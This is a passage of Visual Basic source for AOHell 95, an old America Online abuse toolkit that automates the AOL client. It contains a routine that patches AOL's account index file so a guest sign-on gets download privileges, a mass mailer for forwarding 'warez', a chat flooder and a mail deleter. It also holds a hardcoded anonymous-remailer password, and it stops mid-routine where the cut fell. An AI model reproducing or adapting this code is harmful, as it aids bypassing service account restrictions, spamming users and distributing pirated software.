Success% = SetWindowPos%(FakeForward.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

End Sub

Sub Text4_KeyDown (KeyCode As Integer, Shift As Integer)
If KeyCode = KEY_RETURN Then
MsgBox "Do not hit the RETURN key in this box, if you do it will give errors.  Just keep typing and the words will wrap around to the next line...Resetting text box."
Text4.Text = ""
End If

End Sub

Sub Text7_KeyDown (KeyCode As Integer, Shift As Integer)
If KeyCode = KEY_RETURN Then
MsgBox "Do not hit the RETURN key in this box, if you do it will give errors.  Just keep typing and the words will wrap around to the next line...Resetting text box."
Text7.Text = ""
End If

End Sub

Sub Command3D1_Click ()
If SignStatus = 0 Then
MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Not Signed On!"
Exit Sub
End If

If Text4.Text = "" Or Text5.Text = "" Or Text8.Text = "" Then
MsgBox "You have not completely filled out this form.", 16, "Bug Report"
Exit Sub
End If

GoTo BugStart

BugErr:
MsgBox "An error has occured while trying to send the Bug Report", 48, "Bug Report Error"
Exit Sub

BugStart:
On Error GoTo BugErr
               ret = Chr$(13) + Chr$(10)

AppActivate "America  Online"
DoEvents

SendKeys "%MC"
DoEvents
Call Pause(1)

     thiswin% = FindWindow(0, "America  Online")
     ComposeHand = FindChildByTitle(thiswin%, "Compose")
     SendButton = VBEnumChildWindows(ComposeHand, 2)
     ToField = VBEnumChildWindows(ComposeHand, 10)
     SubField = VBEnumChildWindows(ComposeHand, 14)
     MsgField = VBEnumChildWindows(ComposeHand, 17)
     VBMsg1.SubClasshWnd = SendButton

lint = 8000

lpstring = "password@anon.penet.fi"
ToText = SendMessageByString(ToField, WM_SETTEXT, lint, lpstring)
 DoEvents
lpstring = "Password"
SubText = SendMessageByString(SubField, WM_SETTEXT, lint, lpstring)
 DoEvents
lpstring = "aohell"
MsgText = SendMessageByString(MsgField, WM_SETTEXT, lint, lpstring)
 DoEvents
 DoEvents
Call Pause(1)
VBMsg1.SendMessage = WM_LBUTTONDOWN
VBMsg1.SendMessage = WM_LBUTTONUP
Snap = FindWindow(0, "America Online")
While Snap = 0
DoEvents
Snap = FindWindow(0, "America Online")
DoEvents
Wend
SendKeys "{ENTER}"
DoEvents
Call Pause(1)

SendKeys "%MC"
DoEvents
Call Pause(1.5)

     thiswin% = FindWindow(0, "America  Online")
     ComposeHand = FindChildByTitle(thiswin%, "Compose")
     SendButton = VBEnumChildWindows(ComposeHand, 2)
     ToField = VBEnumChildWindows(ComposeHand, 10)
     SubField = VBEnumChildWindows(ComposeHand, 14)
     MsgField = VBEnumChildWindows(ComposeHand, 17)
     VBMsg1.SubClasshWnd = SendButton

lint = 8000
lpstring = "anon@anon.penet.fi"
ToText = SendMessageByString(ToField, WM_SETTEXT, lint, lpstring)
 DoEvents
lpstring = "Bug Report"
SubText = SendMessageByString(SubField, WM_SETTEXT, lint, lpstring)
 DoEvents

lpstring = "X-Anon-Password: aohell" + ret + "X-Anon-To: an211669" + ret + ret + "Screen Name:     " + ScreenName + ret + ret + "Type of Computer" + ret + "*************************" + ret + ret
If Option1.Value = True Then
lpstring = lpstring + "386" + ret + ret
End If
If Option2.Value = True Then
lpstring = lpstring + "486" + ret + ret
End If
If Option3.Value = True Then
lpstring = lpstring + "586 Pentium" + ret + ret
End If
lpstring = lpstring + "Version of Windows" + ret + "*****************************" + ret + ret
If Option4.Value = True Then
lpstring = lpstring + "3.1" + ret + ret
End If
If Option5.Value = True Then
lpstring = lpstring + "3.11" + ret + ret
End If
If Option6.Value = True Then
lpstring = lpstring + "Windows '95" + ret + ret
End If

lpstring = lpstring + "Amount of RAM" + ret + "***********************" + ret + ret + Text4.Text + ret + ret
lpstring = lpstring + "What I was trying to do" + ret + "*********************************" + ret + ret + Text8.Text + ret + ret + "The Error that occured was" + ret + "***************************************" + ret + ret + Text5.Text + ret + ret + "                         AOHell 95 v3.0 b5 Bug Report"

MsgText = SendMessageByString(MsgField, WM_SETTEXT, lint, lpstring)
 DoEvents
Call Pause(2)
DoEvents
VBMsg1.SendMessage = WM_LBUTTONDOWN
VBMsg1.SendMessage = WM_LBUTTONUP

endall:

Unload Me

Endall1:

End Sub

Sub Command3D2_Click ()
Unload Me
AOHell.Show

End Sub

Sub Command3D3_Click ()
IsChron.Show

End Sub

Sub Form_Load ()
Dim Success As Integer

Success% = SetWindowPos%(form10.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

End Sub

Sub Command3D1_Click ()
GoTo Ben

reseterr:
PWait.Hide
ResetSN2.Show
Exit Sub

Ben:
On Error GoTo reseterr

  Dim NU As String
  Dim Direc1 As String, Direc As String
  Dim SName As String

Direc = Text1.Text
SName = Text2.Text

If SName = "" Or Len(SName) < 6 Then
MsgBox "The screen name to replace must be at least 6 characters long (spaces count).  AOHell will replace that screen name with a new Guest name that will allow you to use the Download Manager while on a guest account.", 16, "Name Error"
Exit Sub
End If
If Direc = "" Then
MsgBox "Must specify a directory!", 16, "Need Directory"
Exit Sub
End If

Direc1 = Direc + "\idb\main.idx"

NU = "G UEST"

If Len(SName) = 6 Then
NU = "G UEST"
End If
If Len(SName) = 7 Then
NU = "G U EST"
End If
If Len(SName) = 8 Then
NU = "G U E ST"
End If
If Len(SName) = 9 Then
NU = "G U E S T"
End If
If Len(SName) = 10 Then
NU = "G U E S T "
End If

PWait.Show
ResetSN2.Hide
DoEvents
Call Pause(2)
Call ChangeFile(Direc1, SName, NU)
DoEvents

thiswin% = FindWindow(0, "America  Online")
find5% = FindChildByTitle(thiswin%, "Welcome")
find6% = FindChildByTitle(thiswin%, "Goodbye")

If find5% > 0 Then
VBMsg1.SubClasshWnd = find5%
VBMsg1.SendMessage = WM_CLOSE
DoEvents
End If

If find6% > 0 Then
VBMsg1.SubClasshWnd = find6%
VBMsg1.SendMessage = WM_CLOSE
DoEvents
End If

If find5% > 0 Or find6% > 0 Then
   AppActivate "America  Online"
   DoEvents
   SendKeys "%G{ENTER}"
   DoEvents
End If

Unload PWait
Unload Me
                      'FAccount.Show
     MsgBox "Now select the new Guest name, enter anything as the password, and sign on."

End Sub

Sub Command3D2_Click ()
Unload Me
'FAccount.Show

End Sub

Sub Command3D3_Click ()
SendKeys "{F1}"
DoEvents
Call Pause(.1)
DoEvents
SendKeys "%HT"

End Sub

Sub Form_Load ()
Dim Success As Integer

Success% = SetWindowPos%(ResetSN.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "WAOL"
texpath = init1.Value

Dim texpath1 As Integer, texpath2 As Integer

texpath1 = Len(texpath)
texpath2 = texpath1 - 9

texpath3 = Mid$(texpath, 1, texpath2)

Text1.Text = texpath3

End Sub

Sub Form_Paint ()

Text2.SetFocus

End Sub

Sub Pause (ByVal nSecond As Single)
   Dim t0 As Single
   t0 = Timer
   Do While Timer - t0 < nSecond
      Dim dummy As Integer
      dummy = DoEvents()
      ' if we cross midnight, back up one day
      If Timer < t0 Then
         t0 = t0 - 24 * 60 * 60
      End If
   Loop
End Sub

Sub Check3D3_Click (Value As Integer)
'If check3d3.Value = True Then
'MsgBox "WARNING:  AOHell may lock-up at the Intro screen on *some* computers using Windows version 3.11 if you set AOHell to start up WAOL automatically.  This rarely occurs on computers with Windows version 3.1.  If AOHell does lock-up at the beginning screen, refer to the Troubleshooting section of the AOHell help file.  It will show you how to fix this problem.  If you don't know what version of Windows you are using, go to Program Manager and under the HELP menu choose ""About Program Manger"".  It will then display what version of Windows it is, and other system information.", 48, "Lock-Up Warning"
'End If

End Sub

Sub Command3D1_Click ()

   Dim WD1 As String * 128  'win directory, because of DLL's return
    Dim WSD1 As String * 128 'system directory, because of DLL's return
    nWSize% = 128
    nSSize% = 128

    Wdir% = GetWindowsDirectory(WD1$, nWSize%)'windir
    Sdir% = GetSystemDirectory(WSD1$, nSSize%)'systemdir
    WD$ = RTrim$(LCase$(Left$(WD1$, Wdir%)))
    WSD$ = RTrim$(LCase$(Left$(WSD1$, Sdir%)))

GoTo begin

titfuck7:

begin:

'On Error GoTo resume1
'Kill WD + "\aohell.ini"

'resume1:

If check3d1.Value = True Then
init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "Sounds"
init1.Value = "yes"
Else
init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "Sounds"
init1.Value = "no"

DoEvents
End If

If Check3D5.Value = True Then

init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "Intro"
init1.Value = "yes"
Else
init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "Intro"
init1.Value = "no"
DoEvents
End If

If check3d2.Value = True Then
init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "ShowMenu"
init1.Value = "yes"
DoEvents
Else
init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "ShowMenu"
init1.Value = "no"
DoEvents
End If

If check3d3.Value = True Then
init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "AutoLoad"
init1.Value = "yes"
DoEvents
Else
init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "AutoLoad"
init1.Value = "no"
DoEvents
End If

If check3d4.Value = True Then
init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "DefBot"
init1.Value = "yes"
DoEvents
Else
init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "DefBot"
init1.Value = "no"
DoEvents
End If

If Check3D6.Value = True Then
init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "AddMenu"
init1.Value = "yes"
DoEvents
Else
init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "AddMenu"
init1.Value = "no"
DoEvents
End If

If Option3D1.Value = True Then
init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "Version"
init1.Value = "2.5"
DoEvents
End If

If Option3D2.Value = True Then
init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "Version"
init1.Value = "1.5"
DoEvents
End If

If Option3D3.Value = True Then
init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "Version"
init1.Value = "2.0"
DoEvents
End If

DoEvents

init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "WAOL"
init1.Value = Text2.Text

init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "BotSet"
init1.Value = Text3.Text

'Resume

Unload options

End Sub

Sub Command3D2_Click ()

IsChron.Show

End Sub

Sub Command3D3_Click ()
Unload Me
aohell.Show
End Sub

Sub Command3D4_Click ()
SendKeys "{F1}"
DoEvents

End Sub

Sub Form_Load ()
Dim Success As Integer

Success% = SetWindowPos%(options.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

Move (Screen.Width - Width) \ 2, (Screen.Height - Height) \ 2

init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "Sounds"
Dab = init1.Value

If Dab = "yes" Then
check3d1.Value = True
Else check3d1.Value = False
End If

DoEvents

init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "Intro"
Dab10 = init1.Value

If Dab10 = "yes" Then
Check3D5.Value = True
Else Check3D5.Value = False
End If

init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "ShowMenu"
Dab2 = init1.Value

If Dab2 = "yes" Then
check3d2.Value = True
DoEvents
Else check3d2.Value = False
DoEvents
End If

DoEvents

init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "AutoLoad"
Dab3 = init1.Value

If Dab3 = "yes" Then
check3d3.Value = True
DoEvents
Else check3d3.Value = False
DoEvents
End If

DoEvents

init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "DefBot"
Dab4 = init1.Value

If Dab4 = "yes" Then
check3d4.Value = True
DoEvents
Else check3d4.Value = False
DoEvents
End If

init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "AddMenu"
Dab40 = init1.Value

If Dab40 = "yes" Then
Check3D6.Value = True
DoEvents
Else Check3D6.Value = False
DoEvents
End If

DoEvents

DoEvents

init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "WAOL"
Text2.Text = init1.Value

DoEvents

init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "BotSet"
Text3.Text = init1.Value

init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "Version"

If init1.Value = "2.5" Then Option3D1.Value = True
If init1.Value = "2.0" Then Option3D3.Value = True
If init1.Value = "1.5" Then Option3D2.Value = True

End Sub

Sub Form_Resize ()
Dim Success As Integer

Success% = SetWindowPos%(options.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

End Sub

Sub Command3D1_Click ()
Unload Me
AOHell.Show

End Sub

Sub Form_Load ()
Dim Success As Integer

Success% = SetWindowPos%(form5.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

End Sub

Sub Form_Resize ()
Dim Success As Integer

Success% = SetWindowPos%(form5.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

End Sub

Sub Command3D1_Click ()
If SignStatus = 0 Then
MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Not Signed On!"
Exit Sub
End If

If Text1.Text = "" Then GoTo Endall

AppActivate "America  Online"

SendKeys ".        __        ___________               _                    "
SendKeys Text1 + "{ENTER}"
SendKeys ".        \ \\     /    ______     ||________|_\\__ {ENTER}"
SendKeys ".       _|_\\_/     {(}_____{(}|     {(}____________O                  O  {ENTER}"
DoEvents
Call Pause(1.3)
DoEvents
SendKeys ".       |_____     {(}_____{(}|    //                                       \_|_/{ENTER}"
SendKeys ".      /   #     \__ ______ _//                                           |{ENTER}"
SendKeys ".     /  ####   // \\___   //                                              / \{ENTER}"
DoEvents
Call Pause(1.3)
DoEvents
SendKeys ".    /  ####  //======//{ENTER}"
SendKeys ". _/  ####  //  {ENTER}"
SendKeys ".|_______// {ENTER}"
DoEvents
GoTo Endall

Endall:

End Sub

Sub Command3D2_Click ()

 Unload Me

End Sub

Sub Form_Load ()
Dim Success As Integer

Success% = SetWindowPos%(form7.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

End Sub

Sub Form_Resize ()
Dim Success As Integer

Success% = SetWindowPos%(form7.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

End Sub

Sub Command1_Click ()

  'Encrypt/Decrypt Text1
  t = Timer
  Temp = KTEncrypt(Text2.Text, Text1.Text, 0)
  t = Timer - t

  'If Temp="" then an error ocurred
  If Temp <> "" Then
    Text1.Text = Temp
    Stats (t)
  Else
    Beep
  End If

  'See if file was encrypted and allow file saving
  If Left$(Text1.Text, 4) = Chr$(1) + "KT" + Chr$(1) Then
    Command2.Enabled = True
  Else
    Command2.Enabled = True
  End If

End Sub

Sub Command1_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)

  msg$ = "Automatically detects if string is encrypted and checks for correct password"
  msg$ = msg$ + " if decrypting."

  If label2.Caption <> msg$ Then label2.Caption = msg$

End Sub

Sub Command2_Click ()
GoTo begin2

titfuck2:
Exit Sub

begin2:
On Error GoTo titfuck2

CMDIALOG1.Action = 2
Shit = CMDIALOG1.Filetitle
 xfilnam$ = CMDIALOG1.Filename

  Open xfilnam$ For Output As 1
    Print #1, Text1.Text
  Close #1
  Text1.Text = ""
  Command2.Enabled = True
  Command3.Enabled = True

  If cleartext = 1000 Then Text1.Text = ""
  DoEvents
  cleartext = 0
  End Sub

Sub Command2_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)

  msg$ = "Saves TextBox to a file to test proper reading to and from a standard text file."

  If label2.Caption <> msg$ Then label2.Caption = msg$

End Sub

Sub Command3_Click ()
GoTo begin1

titfuck1:
Exit Sub

begin1:
On Error GoTo titfuck1

CMDIALOG1.Action = 1
xfilnam1$ = CMDIALOG1.Filename

  Open xfilnam1$ For Input As 1
    Line Input #1, Temp
  Close #1
  Text1.Text = Temp
  Command2.Enabled = True
  Command3.Enabled = True

End Sub

Sub Command3_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)

  msg$ = "Reads test file to the TextBox to test proper reading to and from a standard text file."

  If label2.Caption <> msg$ Then label2.Caption = msg$

End Sub

Sub Command3D1_Click ()
Response = MsgBox("Do you want to save the text that's in the box now, first?", 36, "Save Text?")
'Possible Response values: 6--YES, 7--NO.
If Response = 6 Then
cleartext = 1000
DoEvents
Call Command2_Click
ElseIf Response = 7 Then Text1.Text = ""

 End If

End Sub

Sub Command3D2_Click ()
Call Command5_Click

End Sub

Sub Command3D3_Click ()
Call Command3_Click

End Sub

Sub Command3D4_Click ()
Call Command2_Click

End Sub

Sub Command3D5_Click ()
Call Command4_Click

End Sub

Sub Command3D6_Click ()
Call Command1_Click

End Sub

Sub Command4_Click ()

  'Force encode text1 (force% flag set to 1)
  t = Timer
  Temp = KTEncrypt(Text2.Text, Text1.Text, 1)
  t = Timer - t

  'If Temp="" then an error ocurred
  If Temp <> "" Then
    Text1.Text = Temp
    Stats (t)
  Else
    Beep
  End If

  'Allow saving to file
  Command2.Enabled = True
End Sub

Sub Command4_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)

  msg$ = "Forces an encrypt whether or not the string is already encrypted."
  msg$ = msg$ + " Allows for multi-level encryptions."

  If label2.Caption <> msg$ Then label2.Caption = msg$

End Sub

Sub Command5_Click ()

  Unload Me

End Sub

Sub Command5_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)

  msg$ = " "

  If label2.Caption <> msg$ Then label2.Caption = msg$

End Sub

Sub Form_Load ()

  Command3.Enabled = True

  'Line feed
  LF$ = Chr$(13) + Chr$(10)

  'A message
  lalala = "You can, instead of saving the encrypted text to a file, highlight the text with the mouse and hit CTRL-C to copy it to the clipboard, then hit CTRL-V in the email message to paste it there.  CAUTION:  Using this method is risky.  Because of the way AOL formats their messages, it may cause long encrypted messages to be changed (bytes rearranged, extra carriage returns), therefore they cannot be decrypted."
  msg$ = "AOHell v3.0 Text Encrypter" + LF$ + LF$
  msg$ = msg$ + "Type your email message, or any other text you want to keep private, here.  Then enter the password you wish to use and hit the ENCRYPT button.  Then hit the ""Save to File"" button and save the file.  For EMAIL: Then, on AOL, send an email to the person you want and attach that file.  Make sure you notify the person by IM, or phone what PW you used, so he/she can decrypt it.  If the person sent you a file with encrypted text, download it, then on AOHell, hit the ""Read from File"" button and find the file and double click it.  The message will then appear.  You must then decrypt the message using the password the sender used to encrypt it.  The receiver can only decrypt it if they have AOHell v2.0 (beta 5) or higher version, and the password you set.  ***VERY IMPORTANT**  The password is CASE SENSITIVE!  If you try to decrypt text and the password you enter is not EXACTLY the way it was entered when encrypted you will get garbled text.  SPECIAL NOTE: " + lalala

  Text1.Text = msg$

  Label4.Caption = "PO Box 478" + Chr$(13) + Chr$(10) + "San Lorenzo, CA 94580"

  Stats (0)

End Sub

Sub Form_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)

  msg$ = cryptname

  If label2.Caption <> msg$ Then label2.Caption = msg$

End Sub

Sub Label2_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)

  msg$ = cryptname

  If label2.Caption <> msg$ Then label2.Caption = msg$

End Sub

Sub Label3_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)

  msg$ = "K && T     PO Box 478, San Lorenzo, CA 94580-0478"

  If label2.Caption <> msg$ Then label2.Caption = msg$

End Sub

Sub Label4_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)

  msg$ = "K && T     PO Box 478, San Lorenzo, CA 94580-0478"

  If label2.Caption <> msg$ Then label2.Caption = msg$

End Sub

Sub Label5_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)

  msg$ = "Displays encryption/decryption speed."
  msg$ = msg$ + " Somewhat unreliable because time is so short.  About 10,000."

  If label2.Caption <> msg$ Then label2.Caption = msg$

End Sub

Sub Label6_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)

  msg$ = "Displays TextBox length to show how much encryption file enlarged"
  msg$ = msg$ + " due to processing."

  If label2.Caption <> msg$ Then label2.Caption = msg$

End Sub

Sub Label7_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)

  msg$ = "Displays encryption/decryption speed."
  msg$ = msg$ + " Somewhat unreliable because time is so short.  About 10,000."

  If label2.Caption <> msg$ Then label2.Caption = msg$

End Sub

Sub Label8_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)

  msg$ = "Displays TextBox length to show how much encryption file enlarged"
  msg$ = msg$ + " due to processing."

  If label2.Caption <> msg$ Then label2.Caption = msg$

End Sub

Sub Stats (t)

  l = Len(Text1.Text)

  If t = 0 Then
    bytes = 0
  Else
    bytes = Int(l / t)
  End If

  label7.Caption = Trim$(Str$(bytes))
  label8.Caption = Trim$(Str$(l))

End Sub

Sub Text1_KeyDown (KeyCode As Integer, Shift As Integer)
If KeyCode = KEY_RETURN Then
MsgBox "Do not hit the Return button because that will cause your message to be cut off when saving the file.  Just keep typing and the words will wrap around to the next line.  Please hit the BACKSPACE key now, to get rid of the Carriage Return, unless you are not planning on saving this to a file."
End If

End Sub

Sub Text1_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)

  msg$ = cryptname

  If label2.Caption <> msg$ Then label2.Caption = msg$

End Sub

Sub Text2_KeyPress (KeyAscii As Integer)

  'Trap enter
  If KeyAscii = 13 Then
    Command1_Click
    KeyAscii = 0
  End If

End Sub

Sub Text2_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)

  msg$ = "Can be any characters up to a length of 255 characters.  Password is case sensative."

  If label2.Caption <> msg$ Then label2.Caption = msg$

End Sub

Sub Command3D1_Click ()
zzag2 = Text2.Text

a$ = "b"
i$ = "w"
b$ = "i"
c$ = "z"
d$ = "a"
e$ = "t"
If SignStatus = 0 Then
MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Not Signed On!"
Exit Sub
End If
f$ = "c"
J$ = "a"
g$ = "h"
z$ = "b"
k$ = "r"
p1$ = "c"
v$ = "f"
l$ = "g"
h1$ = "t"
h2$ = "k"
m$ = "a"
b1$ = "y"
b2$ = "g"
n$ = "m"
g1$ = "a"
g2$ = "s"
o$ = "e"
o1$ = "h"
o2$ = "f"
o3$ = "gg"
o5$ = "lb"
o6$ = "o"
p$ = "z"
p3$ = "d"
p4$ = "s"
p5$ = "d"
p6$ = "b"
p7$ = "n"
ag = "y"

valid:

MsgBox "Open your New Mail and wait for hourglass to go away.  Then hit the OK button to this message box."
'Possible Response values: 1--IDOK, 2--CANCEL.
'If Response = 1 GoTo mfix1
'If Response = 2 GoTo endall

mfix1:

mailfix.Hide

'wait.Show
mailfix.Hide

    AppActivate "America  Online"
    DoEvents

MMStat.Show
       thiswin% = FindWindow(0, "America  Online")
       NewMail = FindChildByTitle(thiswin%, "New Mail")
       DeleteButton = FindChildByTitle(NewMail, "Delete")
       VBMsg1.SubClasshWnd = DeleteButton

              AppActivate "America  Online"
              DoEvents
              Call Pause(2)

For X = 1 To Text2
If quit3 = 100 Then GoTo quit3
          DoEvents

     VBMsg1.SendMessage = WM_LBUTTONDOWN
     VBMsg1.SendMessage = WM_LBUTTONUP
    DoEvents

Next X

mailfix.Show
MMStat.Hide

GoTo endall

quit3:
MMStat.Hide
mailfix.Show
GoTo endall

endall:
quit3 = 0

End Sub

Sub Command3D2_Click ()
Unload Me
End Sub

Sub Command3D3_Click ()
SendKeys "{F1}"
DoEvents

End Sub

Sub Form_Load ()
Dim Success As Integer

Success% = SetWindowPos%(mailfix.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

End Sub

Sub Form_Paint ()
 Text2.SetFocus

End Sub

Sub Form_Resize ()
Dim Success As Integer

Success% = SetWindowPos%(mailfix.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

End Sub

  Sub Check3D2_Click (Value As Integer)
    quit = 1000
  End Sub

  Sub Command3D1_Click ()

    If SignStatus = 0 Then
      MsgBox "You must be signed on to AOL before using this feature.", 16, "Not Signed On!"
      Exit Sub
    End If
    GoTo MMBegin

MMErr:
    MsgBox "An error has occured within AOHell.  Cannot continue.", 48, "Mass Mail Error"
    Exit Sub

MMBegin:
  'On Error GoTo MMErr

    If Text1.Text = "" Then
      MsgBox "Please enter the screen names you want to send to.", 16, "Screen Names"
      Exit Sub
    End If

    If Option3D6.Value = True Then
      If Text3.Text = "" Then
        MsgBox "You must specify the amount of ware  to send.", 16, "Number of Warez"
        Exit Sub
      End If
    End If

    AppActivate "America  Online"

    thiswin% = FindWindow(0, "America  Online")
    Cursr = FindChildByClass(thiswin%, "MDIClient")

    VBMsg2.SubClasshWnd = Cursr
  '  If Check3D4.Value = True Then
  '  ListHand = FindChildByClass(thiswin%, "_AOL_Listbox")
  '  ListCount1 = SendMessage(ListHand, LB_GETCOUNT, 0, 0)
  '  sztext = Space$(256)
  ' For b = 1 To ListCount1
  '  length = GETAOLLIST(b, sztext)
  '  sztext = Trim$(sztext)
  '  Text1.Text = Text1.Text + "," + sztext
  ' Next b
  ' End If
    mm2.Hide
    wait.Show
    AppActivate "America  Online"
    DoEvents
        AppActivate "America  Online"
        DoEvents
        SendKeys "%B"
        DoEvents
        Call Pause(.5)
        SendKeys "{DOWN 3}" + "{ENTER}"
       ' SendKeys Chr$(9)
        DoEvents
        Call Pause(.5)
        SendKeys "$im_off" + "{TAB}", True
        SendKeys "AOH" + "{TAB}", True
        SendKeys " ", True
        DoEvents
        Call Pause(1)
        SendKeys "{ENTER}"
    find12% = FindChildByTitle(thiswin%, "Send Instant Message")
'    While find13% > 0
      VBMsg1.SubClasshWnd = find12%
      VBMsg1.SendMessage = WM_CLOSE

     DoEvents

NewMail:

    If Option3D1.Value = True Then
      SendKeys "%MN"
      DoEvents
    End If
    If Option3D2.Value = True Then
      SendKeys "%MS"
      DoEvents
    End If
    If Option3D3.Value = True Then
      SendKeys "%MR"
      DoEvents
    End If

    mm2.Hide
    wait.Show
    If Check3D3.Value = True Then Ebstat.Check3D1.Value = True

    AppActivate "America  Online"
    DoEvents
    Call Pause(1)

    For a = 1 To 60
      DoEvents
      If SkipPause = 1 Then
        SkipPause = 0
        GoTo ByPass1
      End If
      Call Pause(1)
      DoEvents

    ' If ByPass = 1 Then
    ' ByPass = 0
    ' GoTo ByPass1
    ' End If
    Next a

ByPass1:
    wait.Hide
    Ebstat.Show
    Ebstat.Caption = "Mass Mailing"
    Ebstat.Panel3D1.Caption = "Mass Mailing To: " + Text1.Text + "..."
If Option3D5.Value = True Then
    thiswin% = FindWindow(0, "America  Online")
    PeopleList = FindChildByClass(thiswin%, "_AOL_Tree")

    F1 = SendMessage(PeopleList, LB_GETCOUNT, 0, 0)
  Text3.Text = F1
End If
  tex3 = Text3.Text
     Ebstat.Label4.Caption = tex3

    DoEvents
    AppActivate "America  Online"
    DoEvents
    ZaNum = Text4.Text
    If ZaNum > 1 Then
      ZaNum = ZaNum - 1
      For w = 1 To ZaNum
        SendKeys "{DOWN}"
        DoEvents
      Next w
    End If
    DoEvents

    find13% = FindChildByTitle(thiswin%, "Fwd:")
    While find13% > 0
      VBMsg1.SubClasshWnd = find13%
      VBMsg1.SendMessage = WM_CLOSE
      find13% = FindChildByTitle(thiswin%, "Fwd:")
      DoEvents
    Wend

    For X = 1 To Text3.Text

      If qui1 = 1000 Then GoTo endit
    ' ForwardHand = VBEnumChildWindows(MDIClient1, 1)
      MDIClient1 = FindChildByClass(thiswin%, "MDIClient")

      SendKeys "{ENTER}"

      DoEvents
      Call Pause(4)
    ' SendKeys "{ESC}"
      DoEvents
      lars = 0

    '  ForwardHand = VBEnumChildWindows(MDIClient1, 1)
     ForwardHand = FindChildByTitle(thiswin%, "Fwd:")
      While ForwardHand = 0
        lars = lars + 1
        If lars = 25 Then GoTo jimbob
        DoEvents
        Call Pause(.5)
        ForwardHand = FindChildByTitle(thiswin%, "Fwd:")
        DoEvents
      Wend

    ' ForwardHand = VBEnumChildWindows(MDIClient1, 1)
    ' ForwardHand = FindChildByTitle(thiswin%, "Fwd:")
      ForwardButton = VBEnumChildWindows(ForwardHand, 4)
      DoEvents
    '    Exit Sub

      VBMsg1.SubClasshWnd = ForwardButton
      VBMsg1.SendMessage = WM_LBUTTONDOWN
      VBMsg1.SendMessage = WM_LBUTTONUP
      DoEvents
      Call Pause(.1)
     ' DoEvents

    ' MailHand = VBEnumChildWindows(MDIClient1, 1)'FindChildByTitle(thiswin%, "Fwd:")
    ' Find10% = FindChildByClass(MailHand, "_AOL_Edit")
      CursorChanged = 0
      For b = 1 To 100  'Find10% = 0
        If CursorChanged = 1 Then GoTo gag1
        MailHand = FindChildByTitle(thiswin%, "Fwd:")   '= VBEnumChildWindows(MDIClient1, 1)'
     '   MHand = FindChildByTitle(thiswin%, "Send Later")
        Find10% = FindChildByClass(MailHand, "_AOL_Edit")
        If Find10% <> 0 Or MHand <> 0 Then GoTo gag1
        DoEvents

      ' If Find10% <> 0 Then
      ' GoTo gag1
      ' End If

        If CursorChanged = 1 Then GoTo gag1
        DoEvents
      ''''If CursorChanged = 1 Then GoTo gag1
      ''''DoEvents
      ''''Call Pause(2)
      ''''If CursorChanged = 1 Then GoTo gag1
      ''''DoEvents
        If CursorChanged = 1 Then GoTo gag1
        VBMsg1.SendMessage = WM_LBUTTONDOWN
        VBMsg1.SendMessage = WM_LBUTTONUP
      'Exit Sub
        DoEvents
        Call Pause(.1)
        If CursorChanged = 1 Then GoTo gag1
        MailHand = FindChildByTitle(thiswin%, "Fwd:")   '= VBEnumChildWindows(MDIClient1, 1)'
     '   MHand = FindChildByTitle(thiswin%, "Send Later")
